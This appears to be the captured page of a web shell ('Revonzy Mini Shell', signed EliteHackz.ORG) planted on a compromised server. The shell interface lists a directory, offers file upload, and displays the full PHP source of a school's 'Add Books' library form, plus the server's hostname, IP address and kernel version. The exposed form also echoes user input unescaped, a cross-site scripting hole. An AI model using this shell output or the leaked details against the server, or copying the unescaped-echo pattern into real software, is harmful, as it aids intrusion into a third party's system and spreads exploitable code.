Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/add-books.php

<?php
require_once('header.php');

require_once('header-left-section.php');

	$flag				=	0;
	$success_flag		=	0;
	$class_error		=	0;
	
	
		$accession_no		= 	"";
		$author				=	"";
		$division			=	"";
		$title				=	"";
		$edition			=	"";
		$year				=	""; 
		$pages				=	"";
		$volume		=	"";
		$book_date			=	"";
		$type				=	"";
		$place_publisher	=	"";
		$barcode_no	=	"";
		$subject	=	"";
		$department	=	"";
		
		if(isset($_POST['add']))
		{
				
		$accession_no		= 	$_POST['accession_no'];
		$author				=	$_POST['author'];
		$title				=	$_POST['title'];
		$edition			=	$_POST['edition'];
		$place_publisher	=	$_POST['place_publisher'];
		$year				=	$_POST['year']; 
		$pages				=	$_POST['pages'];
		$volume				=	$_POST['volume'];
		$book_date			=	$_POST['book_date'];
		$type				=	$_POST['type'];
		$barcode_no			=	$_POST['barcode_no'];
		$subject			=	$_POST['subject'];
		$department			=	$_POST['department'];
		
		if($type=="Select Type")
		{
			$class_error	=	1;
			$flag	=	1;
		}
		if($department=="Select Class")
		{
			$class_error	=	1;
			$flag	=	1;
		}
		if($flag==0)
		{	
			
				if($db->save_books_records($accession_no,$author,$title,$edition,$place_publisher,$year,$pages,$volume,$book_date,$type,$acd_year,$barcode_no,$subject,$department))
				{
					
					$success_flag	=	1;
					
					$accession_no		= 	"";
					$author				=	"";
					$division			=	"";
					$title				=	"";
					$edition			=	"";
					$year				=	""; 
					$pages				=	"";
					$volume		=	"";
					$book_date			=	"";
					$type				=	"";
					$place_publisher	=	"";
					$barcode_no			=	"";
					$subject			=	"";
					$department			=	"";
				}
				else
				{
					$success_flag	=	2;
				}
		}
	}
?> 
<style>
.form-control
{
	background-color:#FFF !important;
}
h1
{
	text-align:center;
	color:#101566;
	font-weight:bold;
	
}
.content
{
	margin:10px;
}
</style> 
 <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper" style="background-color:#D3D5F5;">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-12">
            <h1>Add Books</h1>
          </div>
          
        </div>
      </div><!-- /.container-fluid -->
    </section>
	
    <!-- Main content -->
<form method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" autocomplete="off">

 <section class="content">
    <div class="row">
        <div class="col-md-12">
			<div class="card card-primary">
				<div class="card-body">
					<?php
					if($success_flag==1)
					{
					?>
					<div class="alert alert-success">
					<span class="alert-link">Success ! </span>Books Added Successfully.
					</div>	
					<?php
					}
					if($success_flag==2)
					{
					?>
					<div class="alert alert-danger">
					<span class="alert-link">Failed ! </span>This Record Already Exist.
					</div>	
					<?php
					}
					if($class_error==1)
					{
					?>
					<div class="alert alert-danger">
					<span class="alert-link">Failed ! </span>Please Select Type
					</div>	
					<?php
					}
					?>
					
					<div class="row" style="background-color:#E4E4EC;">
						  <div class="form-group col-lg-3">
							<label>Accession No. :</label>
							<input type="text" class="form-control" name="accession_no" placeholder="Enter Accession No." value="<?php echo $accession_no; ?>" required />
						</div>
						<div class="form-group col-lg-3">
							<label> Author:</label>
							<input type="text" class="form-control" name="author" placeholder="Enter Author Details" value="<?php echo $author; ?>" required />
						</div>
						<div class="form-group col-lg-3">
							<label> Title:</label>
							<input type="text" class="form-control" name="title" placeholder="Enter Title of Book" value="<?php echo $title; ?>" required />
						</div>
						<div class="form-group col-lg-3">
							<label> Edition:</label>
							<input type="text" class="form-control" name="edition" placeholder="Enter Edition of Book" value="<?php echo $edition; ?>" required />
						</div>
						<div class="form-group col-lg-3">
							<label> Place & Publisher:</label>
							<input type="text" class="form-control" name="place_publisher" placeholder="Enter Place & Publisher Details" value="<?php echo $place_publisher; ?>" required />
						</div>
						<div class="form-group col-lg-3">
							<label> Year:</label>
							<input type="number" class="form-control" name="year" placeholder="Enter Year" value="<?php echo $year; ?>" required />
						</div>
						<div class="form-group col-lg-3">
							<label> Pages:</label>
							<input type="number" class="form-control" name="pages" placeholder="Enter Pages" value="<?php echo $pages; ?>" required  />
						</div>
						<div class="form-group col-lg-3">
							<label> Volume:</label>
							<input type="number" class="form-control" name="volume" placeholder="Enter Volume of Book" value="<?php echo $volume; ?>" required />
						</div>
						
						<div class="form-group col-lg-3">
							<label> Purchase Date:</label>
							<input type="text" class="form-control" name="book_date" placeholder="Enter Date" style="resize:none;" id="date_picker" value="<?php echo $book_date; ?>" required />
						</div>
						
						<div class="form-group col-lg-3">
							<label> Select Type:</label>
							<select class="form-control" name="type">
							<option value="Select Type">Select Type</option>
							<option value="Text Book" <?php if($type=="Text Book"){ ?> Selected <?php } ?> >Text Book</option>
							<option value="Reference" <?php if($type=="Reference"){ ?> Selected <?php } ?> >Reference</option>
							<option value="Journal"<?php if($type=="Journal "){ ?> Selected <?php } ?>>Journal </option>
							<option value="Magzine" <?php if($type=="Magzine"){ ?> Selected <?php } ?>>Magzine</option>
							<option value="Book" <?php if($type=="Book"){ ?> Selected <?php } ?> >Book</option>
							<option value="Other" <?php if($type=="Other"){ ?> Selected <?php } ?> >Other</option>
						</select>
						</div>
						<div class="form-group col-lg-3">
							<label> Barcode No:</label>
							<input type="number" class="form-control" name="barcode_no" placeholder="Enter Barcode No." value="<?php echo $barcode_no; ?>"   />
						</div>
						<div class="form-group col-lg-3">
							<label> Subject :</label>
							<input type="text" class="form-control" name="subject" placeholder="Enter Subject " value="<?php echo $subject; ?>" required  />
						</div>
						<div class="form-group col-lg-3">
							<label> Select Department:</label>
							<select name="department" class="form-control select2" style="background-color:white !important;">
								<?php
									if($class!="")
									{
										$class_data = $db->get_class_title_master_details($class);
										$res_class 	= $class_data[1];
								?>
								<option value="<?php echo $class; ?>"><?php echo $res_class; ?></option>
								<?php
									}
								?>
								<option value="Select Class"> Select Department</option>
								<?php
									$data	=	array();
									$data	=	$db->get_all_class_title_master_data();
									
									if(!empty($data))
									{
										$counter	=	0;
										foreach($data as $record)
										{
											$res_id				=	$data[$counter][0];
											$res_class_title 	=	$data[$counter][1];
											$res_date			=	$data[$counter][2];
											
									?>
									<option value="<?php echo $res_id; ?>"><?php echo $res_class_title; ?></option>
									<?php
											$counter++;
										}
									}
								?>											
							</select>
						</div>
					</div>
				</div>
				<div class="row">
					<div class="col-12">
					 <center>
					  <input type="submit" value="ADD BOOKS DETAILS" name="add" class="btn btn-success"></center>
					</div>
				</div>
    </section>
	</form>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->
  <?php
require_once('footer.php');
?> 
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
  <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
  <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
 <script> 
 $(document).ready(function() {
 
    $( "#date_picker" ).datepicker({ dateFormat: 'dd-mm-yy' });
	
  } );
 </script>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4